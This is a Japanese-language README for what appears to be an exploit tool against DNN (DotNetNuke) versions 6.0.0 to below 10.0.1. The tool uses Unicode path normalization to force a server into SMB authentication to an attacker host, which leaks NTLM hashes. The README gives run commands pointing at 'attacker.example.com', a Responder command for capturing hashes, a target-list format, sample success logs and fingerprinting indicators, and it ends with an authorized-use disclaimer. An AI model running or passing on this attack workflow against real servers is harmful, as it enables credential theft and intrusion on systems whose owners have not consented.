
このエクスプロイトは、DNN (旧 DotNetNuke) バージョン 6.0.0 から 10.0.1 未満の脆弱性を標的とし、Unicode パス正規化攻撃を通じて攻撃者が NTLM ハッシュを漏えいさせることを可能にします。
このエクスプロイトは、Windows/.NET の癖と Unicode 正規化を悪用して、標的の DNN サーバーに攻撃者管理下のサーバーへの SMB リクエストを強制し、認証プロセス中に NTLM ハッシュを露出させる可能性があります。
pip install -r requirements.txt でインストール)python main.py targets.txt attacker.example.com
python main.py targets.txt 192.168.1.100 -t 20 --timeout 15
targets: DNN ホストのリストを含むファイル (1行に1つ)smb_server: NTLM ハッシュをキャプチャする SMB サーバーのホスト名/IP-t, --threads: 同時実行スレッド数 (デフォルト: 10)--timeout: リクエストタイムアウト (秒) (デフォルト: 10)ターゲット URL を1行に1つずつ含むテキストファイルを作成します:
http://target1.example.com
https://target2.example.com:8080
target3.example.com
Responder などのツールを使用して NTLM ハッシュをキャプチャできます:
responder -I eth0 -wrf
または、帯域外検出に Burp Collaborator を使用します。
[2025-01-XX-XX:XX:XX] [INFO] 5 つのターゲットに対して DNN NTLM ハッシュ漏えいエクスプロイトを開始
[2025-01-XX-XX:XX:XX] [INFO] SMB サーバー: attacker.example.com
[2025-01-XX-XX:XX:XX] [SUCCESS] [target1.com] DNN インジケータが見つかりました: dnn_IsMobile
[2025-01-XX-XX:XX:XX] [SUCCESS] [target1.com] ファイルアップロードエンドポイントにアクセス可能
[2025-01-XX-XX:XX:XX] [SUCCESS] [target1.com] エクスプロイトペイロードが正常に送信されました
[2025-01-XX-XX:XX:XX] [INFO] [target1.com] 着信する NTLM 認証試行がないか SMB サーバーを確認してください
このエクスプロイトは、次の DNN インジケータを探します:
dnn_IsMobile クッキーdotnetnukednnconnectDNN Platformこのツールは、教育および許可されたセキュリティテストの目的のみに使用されます。責任を持って、所有している、または明示的なテスト許可があるシステムでのみ使用してください。